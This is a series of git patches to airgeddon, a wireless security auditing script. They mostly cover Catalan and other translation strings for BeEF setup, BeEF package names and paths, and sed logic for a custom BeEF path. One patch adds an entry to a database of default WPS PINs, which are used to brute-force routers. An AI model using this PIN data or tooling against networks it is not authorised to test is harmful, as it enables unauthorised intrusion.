arr["CATALAN",402]="${pending_of_translation} Introdueix la ruta absoluta del directori on està instal·lat BeEF :" + arr["CATALAN",402]="Introdueix la ruta absoluta del directori on està instal·lat BeEF :" arr["PORTUGUESE",402]="Digite o caminho absoluto do diretório onde BeEF está instalado :" arr["RUSSIAN",402]="Введите абсолютный путь к каталогу, в котором установлен BeEF :" arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF :" @@ -3755,7 +3755,7 @@ function language_strings() { arr["ENGLISH",403]="The directory you entered doesn't exist" arr["SPANISH",403]="El directorio introducido no existe" arr["FRENCH",403]="Le dossier indiqué n'existe pas" - arr["CATALAN",403]="${pending_of_translation} El directori introduït no existeix" + arr["CATALAN",403]="El directori introduït no existeix" arr["PORTUGUESE",403]="O diretório digitado não existe" arr["RUSSIAN",403]="Каталог, который вы ввели, не существует" arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" @@ -3763,7 +3763,7 @@ function language_strings() { arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" arr["FRENCH",404]="La route saisie n'est pas absolue. Une route absolue doit toujours commencer par \"/\"" - arr["CATALAN",404]="${pending_of_translation} La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" + arr["CATALAN",404]="La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" arr["PORTUGUESE",404]="O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" arr["RUSSIAN",404]="Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" @@ -3771,7 +3771,7 @@ function language_strings() { arr["ENGLISH",405]="Checking BeEF..." arr["SPANISH",405]="Comprobando BeEF..." arr["FRENCH",405]="Vérification de BeEF..." - arr["CATALAN",405]="${pending_of_translation} Comprovant BeEF..." + arr["CATALAN",405]="Comprovant BeEF..." arr["PORTUGUESE",405]="Verificando BeEF..." arr["RUSSIAN",405]="Проверка BeEF..." arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." @@ -3779,7 +3779,7 @@ function language_strings() { arr["ENGLISH",406]="No BeEF executable was detected in given directory" arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" arr["FRENCH",406]="BeEF n'est pas présent dans le dossierque vous avez indiqué" - arr["CATALAN",406]="${pending_of_translation} No s'ha detectat un executable de BeEF al directori indicat" + arr["CATALAN",406]="No s'ha detectat un executable de BeEF al directori indicat" arr["PORTUGUESE",406]="O executável do BeEF não foi detectado no diretório especificado" arr["RUSSIAN",406]="Ни один исполняемый файл BeEF не был обнаружен в заданной директории" arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" @@ -3787,7 +3787,7 @@ function language_strings() { arr["ENGLISH",407]="BeEF preparation" arr["SPANISH",407]="Preparación BeEF" arr["FRENCH",407]="${pending_of_translation} Préparation BeEF" - arr["CATALAN",407]="${pending_of_translation} Preparació BeEF" + arr["CATALAN",407]="Preparació BeEF" arr["PORTUGUESE",407]="Preparando BeEF" arr["RUSSIAN",407]="Подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" @@ -3795,7 +3795,7 @@ function language_strings() { arr["ENGLISH",408]="If you installed BeEF manually, airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si BeEf est correctement instalé et c'est le script qui n'est pas capable de le détecter" - arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" + arr["CATALAN",408]="Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="Se BeEF foi instalado manualmente, o airgeddon não pode encontrá-lo automaticamente e a opção de ataque aparecerá bloqueada. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não o detecta" arr["RUSSIAN",408]="Если вы установили BeEF вручную, airgeddon может быть не в состоянии найти его, и опция атаки в меню может быть ограничена. Для исправления этого, вы можете попытаться решить эту проблему с помощью специального пункта меню. Это сработает только если BeEF уже правильно установлен, и ваша единственная проблема в том, что скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" @@ -3811,7 +3811,7 @@ function language_strings() { arr["ENGLISH",410]="2. Try to troubleshoot manually installed BeEF dependency problem" arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" arr["FRENCH",410]="2. Essayez de résoudre le problème BeEF installé manuellement" - arr["CATALAN",410]="${pending_of_translation} 2. Intentar solucionar problema de dependència BeEF instal·lat manualment" + arr["CATALAN",410]="2. Intentar solucionar problema de dependència BeEF instal·lat manualment" arr["PORTUGUESE",410]="2. Tente resolver o problema de dependência do BeEF instalado manualmente" arr["RUSSIAN",410]="2. Попробуйте устранить проблему вручную установив зависимости BeEF" arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" @@ -3827,7 +3827,7 @@ function language_strings() { arr["ENGLISH",412]="You don't need to perform this action. Your BeEF is operational" arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" arr["FRENCH",412]="Vous n'êtes pas obligé de le faire. BeEF est opérationnel" - arr["CATALAN",412]="${pending_of_translation} No necessites realitzar aquesta acció. El teu BeEF està operatiu" + arr["CATALAN",412]="No necessites realitzar aquesta acció. El teu BeEF està operatiu" arr["PORTUGUESE",412]="Você não precisa fazer isso. Seu BeEF está operacional" arr["RUSSIAN",412]="Вам не нужно выполнять это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" @@ -3835,7 +3835,7 @@ function language_strings() { arr["ENGLISH",413]="airgeddon fixed the problem. Your BeEF is operational" arr["SPANISH",413]="airgeddon ha solucionado el problema. Tu BeEF está operativo" arr["FRENCH",413]="airgeddon a résolu le problème. BeEF est opérationnel" - arr["CATALAN",413]="${pending_of_translation} airgeddon ha solucionat el problema. El teu BeEF està operatiu" + arr["CATALAN",413]="airgeddon ha solucionat el problema. El teu BeEF està operatiu" arr["PORTUGUESE",413]="O airgeddon corrigiu o problema. Seu BeEF está operacional" arr["RUSSIAN",413]="airgeddon устранил проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" @@ -3843,7 +3843,7 @@ function language_strings() { arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" arr["FRENCH",414]="Curl n'est pas installé. Vous ne pouvez pas télécharger le fichier de la base de donées PIN" - arr["CATALAN",414]="${pending_of_translation} No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" + arr["CATALAN",414]="No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" arr["PORTUGUESE",414]="Você não tem o pacote curl instalado. Você não pode baixar o arquivo de banco de dados de PINs" arr["RUSSIAN",414]="У вас не установлен curl. Невозможно загрузить файл базы данных PIN" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" @@ -3851,7 +3851,7 @@ function language_strings() { arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" - arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" + arr["CATALAN",415]="${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",415]="${blue_color}O airgeddon sabe que você instalou o BeEF e validou a instalacão, mas não pôde encontrar o caminho exato do diretório onde você instalou BeEF. Sabendo a localização exata tem algumas vantagens quando executá-lo a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",415]="${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. ${green_color}Вы хотите ввести расположение вручную? ${normal_color}[y/n]" arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" @@ -3859,7 +3859,7 @@ function language_strings() { arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" arr["FRENCH",416]="${pending_of_translation} Vous pouvez exécuter BeEF, mais il est recommandé d'exécuter la deuxième option de menu avant" - arr["CATALAN",416]="${pending_of_translation} Pots executar BeEF, però és recomanable executar la segona opció del menú abans" + arr["CATALAN",416]=" Pots executar BeEF, però és recomanable executar la segona opció del menú abans" arr["PORTUGUESE",416]=" Você pode executar BeEF, mas é recomendado executar a segunda opção de menu antes" arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πριν" From f9bb99a93674722a945cd8af5cc675e4d5897cae Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 24 Jan 2017 17:12:41 +0100 Subject: [PATCH 50/55] Quick fix on spaces. --- airgeddon.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 74b742ea1..2ff7f0ba4 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3860,8 +3860,8 @@ function language_strings() { arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" arr["FRENCH",416]="${pending_of_translation} Vous pouvez exécuter BeEF, mais il est recommandé d'exécuter la deuxième option de menu avant" arr["CATALAN",416]=" Pots executar BeEF, però és recomanable executar la segona opció del menú abans" - arr["PORTUGUESE",416]=" Você pode executar BeEF, mas é recomendado executar a segunda opção de menu antes" - arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" + arr["PORTUGUESE",416]=" Você pode executar BeEF, mas é recomendado executar a segunda opção de menu antes" + arr["RUSSIAN",416]=" Вы можете запустить BeEF, но лучше, если вы сначала запустите вторую опцию" arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πριν" case "${3}" in From a2c3ec24ac2fabc52002b0a9baf3f0ec79c25eec Mon Sep 17 00:00:00 2001 From: Luan Date: Thu, 26 Jan 2017 01:13:07 -0200 Subject: [PATCH 51/55] Update known_pins.db --- known_pins.db | 1 + 1 file changed, 1 insertion(+) diff --git a/known_pins.db b/known_pins.db index 6f89ed91d..e1a2f81ac 100644 --- a/known_pins.db +++ b/known_pins.db @@ -111,6 +111,7 @@ function set_pin_database() { PINDB["589835"]="36232925 78568242 56217391 13128562 53890894" PINDB["5C338E"]="00764025 03015162 04581277 11765592 15986511 30414129 30999022 33685984 39657053 53842763 60387400 73968597 78614062 78963641 82848439 85776104 91345080 12345670" PINDB["5C353B"]="64874487" + PINDB["5C571A"]="46577450" PINDB["5CD998"]="11554424 67554409" PINDB["626BD3"]="25415001" PINDB["62A8E4"]="51194529 34160923 32473841" From a43d681937bb5805b82dfe21f59c80919d978a2d Mon Sep 17 00:00:00 2001 From: Luan Date: Thu, 26 Jan 2017 01:14:06 -0200 Subject: [PATCH 52/55] Update pindb_checksum.txt --- pindb_checksum.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 7dc54c510..7fdcecba7 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -1d69c14a5278ef0d606ddee59570dba2 +e508452934b774988ad3ff6fff4505ef From da2d7256e1fef13d656640073e4f4905ad62a0c7 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 26 Jan 2017 21:59:28 +0100 Subject: [PATCH 53/55] Fix the polymorphism weird case on which once modified, somebody change beef directory and try to modify again the script. --- airgeddon.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2ff7f0ba4..7fc94c487 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -8422,12 +8422,11 @@ function rewrite_script_with_custom_beef() { case ${1} in "set") - local sed_path=${2//\//\\/} - sed -i "s/#[C]ustom BeEF location (set=0)/\"${sed_path}\" #Custom BeEF location (set=1)/" "${scriptfolder}${scriptname}" 2> /dev/null + sed -ri "s:(\s+|\t+)([\"0-9a-zA-Z/\-_ ]+)?\s?(#Custom BeEF location \(set=)([01])(\)):\1\"${2}\" \31\5:" "${scriptfolder}${scriptname}" 2> /dev/null chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 ;; "search") - beef_custom_path_line=$(cat < "${scriptfolder}${scriptname}" 2> /dev/null | grep "#Custom BeEF location (set=1)" | grep -v "/dev/null" 2> /dev/null) + beef_custom_path_line=$(cat < "${scriptfolder}${scriptname}" 2> /dev/null | grep "#[C]ustom BeEF location (set=1)" 2> /dev/null) if [ -n "${beef_custom_path_line}" ]; then [[ ${beef_custom_path_line} =~ \"(.*)\" ]] && beef_custom_path="${BASH_REMATCH[1]}" fi From 715a79cc94f6111ca5d4a25c32f31795d7449f72 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Jan 2017 15:23:32 +0100 Subject: [PATCH 54/55] Updated beef locations for Backbox Linux --- airgeddon.sh | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7fc94c487..8d3a84f64 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -89,13 +89,13 @@ declare -A possible_package_names=( [${optional_tools_names[16]}]="pixiewps" #pixiewps [${optional_tools_names[17]}]="expect / expect-dev" #unbuffer [${optional_tools_names[18]}]="bettercap" #bettercap - [${optional_tools_names[19]}]="beef / beef-xss" #beef + [${optional_tools_names[19]}]="beef-xss / beef-project" #beef [${update_tools[0]}]="curl" #curl ) #More than one alias can be defined separated by spaces at value declare -A possible_alias_names=( - ["beef"]="beef-xss" + ["beef"]="beef-xss beef-server" ) #General vars @@ -189,6 +189,7 @@ possible_beef_known_locations=( "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" + "/opt/beef-project/" #Custom BeEF location (set=0) ) From 404126aeb4d1855eee3ef1c945eddbe3d7c93c48 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 30 Jan 2017 22:14:15 +0100 Subject: [PATCH 55/55] Restored master branch var after polymorphism testing --- airgeddon.sh | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 8d3a84f64..51153f68e 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -126,9 +126,7 @@ timeout_secs_per_pixiedust="30" #Repository and contact vars github_user="v1s1t0r1sh3r3" github_repository="airgeddon" -#TODO change the branch before pull request. This is to test polymorphism updating against v6 branch -branch="v6" -#branch="master" +branch="master" script_filename="airgeddon.sh" urlgithub="https://github.com/${github_user}/${github_repository}" urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}"